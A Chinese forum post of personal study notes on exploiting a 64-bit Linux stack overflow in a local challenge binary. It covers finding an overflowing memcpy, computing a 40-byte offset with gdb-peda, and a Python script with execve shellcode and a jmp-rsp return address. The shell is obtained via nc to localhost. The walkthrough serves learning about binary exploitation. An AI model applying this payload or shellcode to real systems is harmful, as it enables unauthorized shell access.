|
阅读:0回复:1
Binary(pwn)学习笔记之二:linux x64 stack overflows
接一:这里以一个典型的stack overflows漏洞来进行学习
以下是一个64位linux程序的溢出分析过程 要在本地复现这个环境,请使用socat tcp-l:6666,reuseaddr,fork exec:./pwn 其中,fork exec是指每次都用一个子进程去响应。 http://shell-storm.org/shellcode/ 用于shellcode的快捷查询 首先直接运行./pwn,发现它提示输入信息,于是记录下特征字符串"easy" 然后我们用hopper加载一下这个pwn文件
跟随字符串找到最核心部分的代码
用hopper的插件alt+enter反编译为C.可以看到这里溢出应该是memcpy函数导致的。 为了复现环境,我在这里用socat tcp-l:6666,reuseaddr,fork exec:./pwn
接下来,使用gdb加载pwn,并且在exit()处设置断点. 这里的目的是,在程序执行ret时,把保存的rbp弹出了。于是可以观察到,如果被覆盖后,实际的rbp. 用rbp就可以来计算偏移。我们使用peda自带的pattern create创建一个有序字符串
然后,在调试时输入这个字符串。最终在断点停下。 使用pattern offset $rbp 计算偏移量。 由于栈的结构是这样的 |覆盖的rbp|覆盖的返回地址|rsp指向| 于是这里得到的结果32要+8 (8个byte),得到的结果是缓冲区大小为40
使用jmpcall $rsp指令来为我们找到一个合适的跳板
最终拼凑出了这个shellcode [mw_shl_code=python,true] #!/usr/bin/env python from zio import * a=open('overflows.txt','wb+') shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" payload = 'a'*40 + l64(0x4b23a3) + shellcode a.write(payload) a.close()[/mw_shl_code] 使用如下命令来进行溢出 cat overflows.txt -|nc -nvv 127.0.0.1 6666
这里的-管道符代表了标准输入流,如果不加入,会导致获取shell后,因为没有命令执行参数而直接退出。 加上管道符,则可以直接从键盘读取输入的指令。最终得到了一个shell,其权限和运行它的用户一致。 |
|